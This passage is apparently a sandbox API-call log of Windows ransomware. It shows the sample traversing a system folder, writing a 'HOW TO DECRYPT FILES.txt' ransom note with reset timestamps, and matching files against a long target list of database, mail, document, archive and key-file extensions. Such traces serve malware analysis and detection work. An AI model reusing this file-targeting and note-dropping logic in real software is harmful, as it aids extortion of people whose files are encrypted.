(pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\267f03b78a9514be8c1ebd278f03e3ff\\Microsoft.Security.ApplicationId.PolicyManagement.XmlHelper.ni.dll", pszSpec="*.m4a") returned 0 [0109.201] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\267f03b78a9514be8c1ebd278f03e3ff\\Microsoft.Security.ApplicationId.PolicyManagement.XmlHelper.ni.dll", pszSpec="*.csv") returned 0 [0109.201] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x310bcb59, ftCreationTime.dwHighDateTime=0x1cb8b27, ftLastAccessTime.dwLowDateTime=0x310bcb59, ftLastAccessTime.dwHighDateTime=0x1cb8b27, ftLastWriteTime.dwLowDateTime=0xb3603586, ftLastWriteTime.dwHighDateTime=0x1cb8939, nFileSizeHigh=0x0, nFileSizeLow=0x10200, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Microsoft.Security.ApplicationId.PolicyManagement.XmlHelper.ni.dll", cAlternateFileName="MICROS~1.DLL")) returned 0 [0109.201] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0109.201] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x631288c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x631288c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x631288c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName="33f2c8336e497fc65c9d414c2a7061d8", cAlternateFileName="33F2C8~1")) returned 1 [0109.201] lstrcmpA (lpString1=".", lpString2="33f2c8336e497fc65c9d414c2a7061d8") returned -1 [0109.201] lstrcmpA (lpString1="..", lpString2="33f2c8336e497fc65c9d414c2a7061d8") returned -1 [0109.202] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\*.*") returned="*.*" [0109.202] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\", lpString2="33f2c8336e497fc65c9d414c2a7061d8" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\33f2c8336e497fc65c9d414c2a7061d8") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\33f2c8336e497fc65c9d414c2a7061d8" [0109.202] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\33f2c8336e497fc65c9d414c2a7061d8\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x631288c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x631288c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x631288c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502618 [0109.202] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0109.202] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x631288c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x631288c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x631288c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0109.202] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0109.203] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0109.203] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x31108e0f, ftCreationTime.dwHighDateTime=0x1cb8b27, ftLastAccessTime.dwLowDateTime=0x31108e0f, ftLastAccessTime.dwHighDateTime=0x1cb8b27, ftLastWriteTime.dwLowDateTime=0xb39bb7ed, ftLastWriteTime.dwHighDateTime=0x1cb8939, nFileSizeHigh=0x0, nFileSizeLow=0x43400, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Microsoft.Security.ApplicationId.PolicyManagement.PolicyManager.ni.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0109.203] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0109.203] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Microsoft.Security.ApplicationId.PolicyManagement.PolicyManager.ni.dll") returned -1 [0109.203] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Microsoft.Security.ApplicationId.PolicyManagement.PolicyManager.ni.dll") returned -1 [0109.203] lstrcmpiA (lpString1="", lpString2="Microsoft.Security.ApplicationId.PolicyManagement.PolicyManager.ni.dll") returned -1 [0109.203] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\33f2c8336e497fc65c9d414c2a7061d8\\*.*") returned="*.*" [0109.203] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\33f2c8336e497fc65c9d414c2a7061d8\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\33f2c8336e497fc65c9d414c2a7061d8\\") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\33f2c8336e497fc65c9d414c2a7061d8\\" [0109.203] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\33f2c8336e497fc65c9d414c2a7061d8\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\33f2c8336e497fc65c9d414c2a7061d8\\") returned="" [0109.203] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\33f2c8336e497fc65c9d414c2a7061d8\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\33f2c8336e497fc65c9d414c2a7061d8\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\33f2c8336e497fc65c9d414c2a7061d8\\HOW TO DECRYPT FILES.txt" [0109.203] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\33f2c8336e497fc65c9d414c2a7061d8\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\microsoft.security.#\\33f2c8336e497fc65c9d414c2a7061d8\\how to decrypt files.txt")) returned 0xffffffff [0109.203] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\33f2c8336e497fc65c9d414c2a7061d8\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\microsoft.security.#\\33f2c8336e497fc65c9d414c2a7061d8\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0109.209] WriteFile (in: hFile=0x90, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0109.211] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0109.211] CloseHandle (hObject=0x90) returned 1 [0109.211] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\33f2c8336e497fc65c9d414c2a7061d8\\", lpString2="Microsoft.Security.ApplicationId.PolicyManagement.PolicyManager.ni.dll" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\33f2c8336e497fc65c9d414c2a7061d8\\Microsoft.Security.ApplicationId.PolicyManagement.PolicyManager.ni.dll") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\33f2c8336e497fc65c9d414c2a7061d8\\Microsoft.Security.ApplicationId.PolicyManagement.PolicyManager.ni.dll" [0109.211] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\33f2c8336e497fc65c9d414c2a7061d8\\Microsoft.Security.ApplicationId.PolicyManagement.PolicyManager.ni.dll", pszSpec="*.ems") returned 0 [0109.211] lstrlenA (lpString="*.ems") returned 5 [0109.211] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\33f2c8336e497fc65c9d414c2a7061d8\\Microsoft.Security.ApplicationId.PolicyManagement.PolicyManager.ni.dll", pszSpec="*.db") returned 0 [0109.211] lstrlenA (lpString="*.db") returned 4 [0109.211] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\33f2c8336e497fc65c9d414c2a7061d8\\Microsoft.Security.ApplicationId.PolicyManagement.PolicyManager.ni.dll", pszSpec="*.dbf") returned 0 [0109.211] lstrlenA (lpString="*.dbf") returned 5 [0109.211] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\33f2c8336e497fc65c9d414c2a7061d8\\Microsoft.Security.ApplicationId.PolicyManagement.PolicyManager.ni.dll", pszSpec="*.myox") returned 0 [0109.211] lstrlenA (lpString="*.myox") returned 6 [0109.211] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\33f2c8336e497fc65c9d414c2a7061d8\\Microsoft.Security.ApplicationId.PolicyManagement.PolicyManager.ni.dll", pszSpec="*.myo") returned 0 [0109.212] lstrlenA (lpString="*.myo") returned 5 [0109.212] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\33f2c8336e497fc65c9d414c2a7061d8\\Microsoft.Security.ApplicationId.PolicyManagement.PolicyManager.ni.dll", pszSpec="*.qbw") returned 0 [0109.212] lstrlenA (lpString="*.qbw") returned 5 [0109.212] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\33f2c8336e497fc65c9d414c2a7061d8\\Microsoft.Security.ApplicationId.PolicyManagement.PolicyManager.ni.dll", pszSpec="*.qbb") returned 0 [0109.212] lstrlenA (lpString="*.qbb") returned 5 [0109.212] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\33f2c8336e497fc65c9d414c2a7061d8\\Microsoft.Security.ApplicationId.PolicyManagement.PolicyManager.ni.dll", pszSpec="*.qbm") returned 0 [0109.212] lstrlenA (lpString="*.qbm") returned 5 [0109.212] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\33f2c8336e497fc65c9d414c2a7061d8\\Microsoft.Security.ApplicationId.PolicyManagement.PolicyManager.ni.dll", pszSpec="*.qbo") returned 0 [0109.212] lstrlenA (lpString="*.qbo") returned 5 [0109.212] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\33f2c8336e497fc65c9d414c2a7061d8\\Microsoft.Security.ApplicationId.PolicyManagement.PolicyManager.ni.dll", pszSpec="*.qbx") returned 0 [0109.212] lstrlenA (lpString="*.qbx") returned 5 [0109.212] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\33f2c8336e497fc65c9d414c2a7061d8\\Microsoft.Security.ApplicationId.PolicyManagement.PolicyManager.ni.dll", pszSpec="*.qba") returned 0 [0109.212] lstrlenA (lpString="*.qba") returned 5 [0109.212] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\33f2c8336e497fc65c9d414c2a7061d8\\Microsoft.Security.ApplicationId.PolicyManagement.PolicyManager.ni.dll", pszSpec="*.qby") returned 0 [0109.212] lstrlenA (lpString="*.qby") returned 5 [0109.212] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\33f2c8336e497fc65c9d414c2a7061d8\\Microsoft.Security.ApplicationId.PolicyManagement.PolicyManager.ni.dll", pszSpec="*.qbj") returned 0 [0109.212] lstrlenA (lpString="*.qbj") returned 5 [0109.212] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\33f2c8336e497fc65c9d414c2a7061d8\\Microsoft.Security.ApplicationId.PolicyManagement.PolicyManager.ni.dll", pszSpec="*.ofx") returned 0 [0109.213] lstrlenA (lpString="*.ofx") returned 5 [0109.213] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\33f2c8336e497fc65c9d414c2a7061d8\\Microsoft.Security.ApplicationId.PolicyManagement.PolicyManager.ni.dll", pszSpec="*.qif") returned 0 [0109.213] lstrlenA (lpString="*.qif") returned 5 [0109.213] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\33f2c8336e497fc65c9d414c2a7061d8\\Microsoft.Security.ApplicationId.PolicyManagement.PolicyManager.ni.dll", pszSpec="*.mye") returned 0 [0109.213] lstrlenA (lpString="*.mye") returned 5 [0109.213] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\33f2c8336e497fc65c9d414c2a7061d8\\Microsoft.Security.ApplicationId.PolicyManagement.PolicyManager.ni.dll", pszSpec="*.mbox") returned 0 [0109.213] lstrlenA (lpString="*.mbox") returned 6 [0109.213] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\33f2c8336e497fc65c9d414c2a7061d8\\Microsoft.Security.ApplicationId.PolicyManagement.PolicyManager.ni.dll", pszSpec="*.eml") returned 0 [0109.213] lstrlenA (lpString="*.eml") returned 5 [0109.213] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\33f2c8336e497fc65c9d414c2a7061d8\\Microsoft.Security.ApplicationId.PolicyManagement.PolicyManager.ni.dll", pszSpec="*.pst") returned 0 [0109.213] lstrlenA (lpString="*.pst") returned 5 [0109.214] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\33f2c8336e497fc65c9d414c2a7061d8\\Microsoft.Security.ApplicationId.PolicyManagement.PolicyManager.ni.dll", pszSpec="*.ost") returned 0 [0109.214] lstrlenA (lpString="*.ost") returned 5 [0109.214] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\33f2c8336e497fc65c9d414c2a7061d8\\Microsoft.Security.ApplicationId.PolicyManagement.PolicyManager.ni.dll", pszSpec="*.idx") returned 0 [0109.214] lstrlenA (lpString="*.idx") returned 5 [0109.214] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\33f2c8336e497fc65c9d414c2a7061d8\\Microsoft.Security.ApplicationId.PolicyManagement.PolicyManager.ni.dll", pszSpec="*.dbx") returned 0 [0109.214] lstrlenA (lpString="*.dbx") returned 5 [0109.214] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\33f2c8336e497fc65c9d414c2a7061d8\\Microsoft.Security.ApplicationId.PolicyManagement.PolicyManager.ni.dll", pszSpec="*.sql") returned 0 [0109.214] lstrlenA (lpString="*.sql") returned 5 [0109.214] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\33f2c8336e497fc65c9d414c2a7061d8\\Microsoft.Security.ApplicationId.PolicyManagement.PolicyManager.ni.dll", pszSpec="*.mdb") returned 0 [0109.214] lstrlenA (lpString="*.mdb") returned 5 [0109.214] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\33f2c8336e497fc65c9d414c2a7061d8\\Microsoft.Security.ApplicationId.PolicyManagement.PolicyManager.ni.dll", pszSpec="*.fdb") returned 0 [0109.214] lstrlenA (lpString="*.fdb") returned 5 [0109.214] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\33f2c8336e497fc65c9d414c2a7061d8\\Microsoft.Security.ApplicationId.PolicyManagement.PolicyManager.ni.dll", pszSpec="*.wab") returned 0 [0109.214] lstrlenA (lpString="*.wab") returned 5 [0109.214] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\33f2c8336e497fc65c9d414c2a7061d8\\Microsoft.Security.ApplicationId.PolicyManagement.PolicyManager.ni.dll", pszSpec="*.dat") returned 0 [0109.214] lstrlenA (lpString="*.dat") returned 5 [0109.214] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\33f2c8336e497fc65c9d414c2a7061d8\\Microsoft.Security.ApplicationId.PolicyManagement.PolicyManager.ni.dll", pszSpec="*.txt") returned 0 [0109.214] lstrlenA (lpString="*.txt") returned 5 [0109.214] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\33f2c8336e497fc65c9d414c2a7061d8\\Microsoft.Security.ApplicationId.PolicyManagement.PolicyManager.ni.dll", pszSpec="*.jpeg") returned 0 [0109.214] lstrlenA (lpString="*.jpeg") returned 6 [0109.214] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\33f2c8336e497fc65c9d414c2a7061d8\\Microsoft.Security.ApplicationId.PolicyManagement.PolicyManager.ni.dll", pszSpec="*.jpg") returned 0 [0109.215] lstrlenA (lpString="*.jpg") returned 5 [0109.215] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\33f2c8336e497fc65c9d414c2a7061d8\\Microsoft.Security.ApplicationId.PolicyManagement.PolicyManager.ni.dll", pszSpec="*.png") returned 0 [0109.215] lstrlenA (lpString="*.png") returned 5 [0109.215] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\33f2c8336e497fc65c9d414c2a7061d8\\Microsoft.Security.ApplicationId.PolicyManagement.PolicyManager.ni.dll", pszSpec="*.php") returned 0 [0109.215] lstrlenA (lpString="*.php") returned 5 [0109.215] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\33f2c8336e497fc65c9d414c2a7061d8\\Microsoft.Security.ApplicationId.PolicyManagement.PolicyManager.ni.dll", pszSpec="*.cs") returned 0 [0109.215] lstrlenA (lpString="*.cs") returned 4 [0109.215] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\33f2c8336e497fc65c9d414c2a7061d8\\Microsoft.Security.ApplicationId.PolicyManagement.PolicyManager.ni.dll", pszSpec="*.cpp") returned 0 [0109.215] lstrlenA (lpString="*.cpp") returned 5 [0109.215] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\33f2c8336e497fc65c9d414c2a7061d8\\Microsoft.Security.ApplicationId.PolicyManagement.PolicyManager.ni.dll", pszSpec="*.rar") returned 0 [0109.215] lstrlenA (lpString="*.rar") returned 5 [0109.215] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\33f2c8336e497fc65c9d414c2a7061d8\\Microsoft.Security.ApplicationId.PolicyManagement.PolicyManager.ni.dll", pszSpec="*.zip") returned 0 [0109.215] lstrlenA (lpString="*.zip") returned 5 [0109.215] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\33f2c8336e497fc65c9d414c2a7061d8\\Microsoft.Security.ApplicationId.PolicyManagement.PolicyManager.ni.dll", pszSpec="*.html") returned 0 [0109.215] lstrlenA (lpString="*.html") returned 6 [0109.215] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\33f2c8336e497fc65c9d414c2a7061d8\\Microsoft.Security.ApplicationId.PolicyManagement.PolicyManager.ni.dll", pszSpec="*.htm") returned 0 [0109.215] lstrlenA (lpString="*.htm") returned 5 [0109.215] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\33f2c8336e497fc65c9d414c2a7061d8\\Microsoft.Security.ApplicationId.PolicyManagement.PolicyManager.ni.dll", pszSpec="*.xlsx") returned 0 [0109.215] lstrlenA (lpString="*.xlsx") returned 6 [0109.215] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\33f2c8336e497fc65c9d414c2a7061d8\\Microsoft.Security.ApplicationId.PolicyManagement.PolicyManager.ni.dll", pszSpec="*.xls") returned 0 [0109.215] lstrlenA (lpString="*.xls") returned 5 [0109.215] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\33f2c8336e497fc65c9d414c2a7061d8\\Microsoft.Security.ApplicationId.PolicyManagement.PolicyManager.ni.dll", pszSpec="*.mp4") returned 0 [0109.216] lstrlenA (lpString="*.mp4") returned 5 [0109.216] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\33f2c8336e497fc65c9d414c2a7061d8\\Microsoft.Security.ApplicationId.PolicyManagement.PolicyManager.ni.dll", pszSpec="*.ppt") returned 0 [0109.216] lstrlenA (lpString="*.ppt") returned 5 [0109.216] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\33f2c8336e497fc65c9d414c2a7061d8\\Microsoft.Security.ApplicationId.PolicyManagement.PolicyManager.ni.dll", pszSpec="*.pptx") returned 0 [0109.216] lstrlenA (lpString="*.pptx") returned 6 [0109.216] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\33f2c8336e497fc65c9d414c2a7061d8\\Microsoft.Security.ApplicationId.PolicyManagement.PolicyManager.ni.dll", pszSpec="*.doc") returned 0 [0109.216] lstrlenA (lpString="*.doc") returned 5 [0109.216] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\33f2c8336e497fc65c9d414c2a7061d8\\Microsoft.Security.ApplicationId.PolicyManagement.PolicyManager.ni.dll", pszSpec="*.dot") returned 0 [0109.216] lstrlenA (lpString="*.dot") returned 5 [0109.216] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\33f2c8336e497fc65c9d414c2a7061d8\\Microsoft.Security.ApplicationId.PolicyManagement.PolicyManager.ni.dll", pszSpec="*.docx") returned 0 [0109.216] lstrlenA (lpString="*.docx") returned 6 [0109.216] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\33f2c8336e497fc65c9d414c2a7061d8\\Microsoft.Security.ApplicationId.PolicyManagement.PolicyManager.ni.dll", pszSpec="*.7z") returned 0 [0109.216] lstrlenA (lpString="*.7z") returned 4 [0109.216] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\33f2c8336e497fc65c9d414c2a7061d8\\Microsoft.Security.ApplicationId.PolicyManagement.PolicyManager.ni.dll", pszSpec="*.tar") returned 0 [0109.216] lstrlenA (lpString="*.tar") returned 5 [0109.216] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\33f2c8336e497fc65c9d414c2a7061d8\\Microsoft.Security.ApplicationId.PolicyManagement.PolicyManager.ni.dll", pszSpec="*.bz2") returned 0 [0109.216] lstrlenA (lpString="*.bz2") returned 5 [0109.216] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\33f2c8336e497fc65c9d414c2a7061d8\\Microsoft.Security.ApplicationId.PolicyManagement.PolicyManager.ni.dll", pszSpec="*.gz") returned 0 [0109.216] lstrlenA (lpString="*.gz") returned 4 [0109.216] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\33f2c8336e497fc65c9d414c2a7061d8\\Microsoft.Security.ApplicationId.PolicyManagement.PolicyManager.ni.dll", pszSpec="*.mkv") returned 0 [0109.216] lstrlenA (lpString="*.mkv") returned 5 [0109.217] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\33f2c8336e497fc65c9d414c2a7061d8\\Microsoft.Security.ApplicationId.PolicyManagement.PolicyManager.ni.dll", pszSpec="*.eml") returned 0 [0109.217] lstrlenA (lpString="*.eml") returned 5 [0109.217] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\33f2c8336e497fc65c9d414c2a7061d8\\Microsoft.Security.ApplicationId.PolicyManagement.PolicyManager.ni.dll", pszSpec="*.msg") returned 0 [0109.217] lstrlenA (lpString="*.msg") returned 5 [0109.217] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\33f2c8336e497fc65c9d414c2a7061d8\\Microsoft.Security.ApplicationId.PolicyManagement.PolicyManager.ni.dll", pszSpec="*.edb") returned 0 [0109.217] lstrlenA (lpString="*.edb") returned 5 [0109.217] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\33f2c8336e497fc65c9d414c2a7061d8\\Microsoft.Security.ApplicationId.PolicyManagement.PolicyManager.ni.dll", pszSpec="*.accdb") returned 0 [0109.217] lstrlenA (lpString="*.accdb") returned 7 [0109.217] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\33f2c8336e497fc65c9d414c2a7061d8\\Microsoft.Security.ApplicationId.PolicyManagement.PolicyManager.ni.dll", pszSpec="*.odb") returned 0 [0109.217] lstrlenA (lpString="*.odb") returned 5 [0109.217] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\33f2c8336e497fc65c9d414c2a7061d8\\Microsoft.Security.ApplicationId.PolicyManagement.PolicyManager.ni.dll", pszSpec="*.java") returned 0 [0109.217] lstrlenA (lpString="*.java") returned 6 [0109.217] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\33f2c8336e497fc65c9d414c2a7061d8\\Microsoft.Security.ApplicationId.PolicyManagement.PolicyManager.ni.dll", pszSpec="*.asm") returned 0 [0109.217] lstrlenA (lpString="*.asm") returned 5 [0109.217] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\33f2c8336e497fc65c9d414c2a7061d8\\Microsoft.Security.ApplicationId.PolicyManagement.PolicyManager.ni.dll", pszSpec="*.pfx") returned 0 [0109.217] lstrlenA (lpString="*.pfx") returned 5 [0109.217] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\33f2c8336e497fc65c9d414c2a7061d8\\Microsoft.Security.ApplicationId.PolicyManagement.PolicyManager.ni.dll", pszSpec="*.pem") returned 0 [0109.217] lstrlenA (lpString="*.pem") returned 5 [0109.217] PathMatchSpecA 